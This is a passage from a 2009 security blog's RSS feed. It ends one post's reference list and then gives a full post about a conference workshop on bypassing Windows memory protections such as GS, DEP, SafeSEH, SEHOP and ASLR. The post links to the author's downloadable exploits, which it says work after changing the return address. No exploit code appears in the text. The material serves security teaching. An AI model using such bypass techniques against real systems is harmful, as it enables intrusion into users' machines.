<p>[2] Immunity Challege + Symbols: <a href="http://lists.immunitysec.com/pipermail/dailydave/2009-August/005864.html">http://lists.immunitysec.com/pipermail/dailydave/2009-August/005864.html</a></p>
<p>[3] untidy XML fuzzer: <a href="http://untidy.sourceforge.net/">http://untidy.sourceforge.net/</a></p>
<p>[4] Immunity Challenge Result: <a href="http://lists.immunitysec.com/pipermail/dailydave/2009-September/005889.html">http://lists.immunitysec.com/pipermail/dailydave/2009-September/005889.html</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.snoop-security.com/blog/index.php/2009/10/observation-on-immunity-ekoparty-2009-challenge/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Bypassing MS Windows Memory Protections</title>
		<link>http://www.snoop-security.com/blog/index.php/2009/06/bypassing-ms-windows-memory-protections/</link>
		<comments>http://www.snoop-security.com/blog/index.php/2009/06/bypassing-ms-windows-memory-protections/#comments</comments>
		<pubDate>Sat, 20 Jun 2009 12:29:47 +0000</pubDate>
		<dc:creator>Snake</dc:creator>
				<category><![CDATA[Coding]]></category>
		<category><![CDATA[Exploit Development]]></category>
		<category><![CDATA[RCE]]></category>
		<category><![CDATA[bypass]]></category>
		<category><![CDATA[exploiting]]></category>
		<category><![CDATA[protection]]></category>
		<category><![CDATA[windows protection]]></category>

		<guid isPermaLink="false">http://www.snoop-security.com/blog/?p=19</guid>
		<description><![CDATA[Hi all
In june-9-2009  i had a  presentation and workshop about defeating windows memory protections at 1st Iranian Conference on Cyberspace Security Incidents and Vulnerabilities ( IR CERT ) . in that training i introduce Iranian security professionals how operation systems protect users against software vulnerabilities .i discuss about software security flaws such as Stack/Heap base [...]]]></description>
			<content:encoded><![CDATA[<p>Hi all</p>
<p>In june-9-2009  i had a  presentation and workshop about defeating windows memory protections at 1st Iranian Conference on Cyberspace Security Incidents and Vulnerabilities ( IR CERT ) . in that training i introduce Iranian security professionals how operation systems protect users against software vulnerabilities .i discuss about software security flaws such as Stack/Heap base buffer overflow,Format string ,etc &#8230; .then i explained how they happen an how an attacker can abuse this vulnerabilities.after that ,we take look at OS protection mechanisms and how we can use of those weaknesses to defeating some of OS PM . discussed protections are :</p>
<ul>
<li>Guard Stack ( a.k.a /GS )<br />
Data Execution Prevention ( a.k.a DEP or /NXCOMPAT )<br />
Safe SEH Table ( a.k.a /SafeSEH )<br />
SEH Overwrite Protection ( a.k.a SEHOP )<br />
Address Space Layout Randomization ( a.k.a ASLR or /DYNAMICBASE )</li>
</ul>
<p>all the exploits tested on  Microsoft Windows XP Professional  5.1.2600 Service Pack 3 Build 2600 and one on  Microsoft® Windows Vista™ UltimateVersion 6.0.6001 Service Pack 1 Build 6001 , so i think it will work on you box , just change the ret addr .<br />
btw, you can download slides and sploits that i wrote and used in workshop from here : <a href="http://sn4k3.persiangig.com/document/Bypassing%20MS%20Windows%20Memory%20Protections.pptx" target="_blank">Slides</a>,<a href="http://sn4k3.persiangig.com/document/snake_files.rar" target="_blank">Sploit</a>.</p>
<p>/* forgive me for my horrible english <img src='http://www.snoop-security.com/blog/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /><br />
if you find any mistake or any question, just mail me  :)<br />
have good exploitation ( Shahriyar Jalayeri a.k.a Snake ) */</p>
]]></content:encoded>
			<wfw:commentRss>http://www.snoop-security.com/blog/index.php/2009/06/bypassing-ms-windows-memory-protections/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
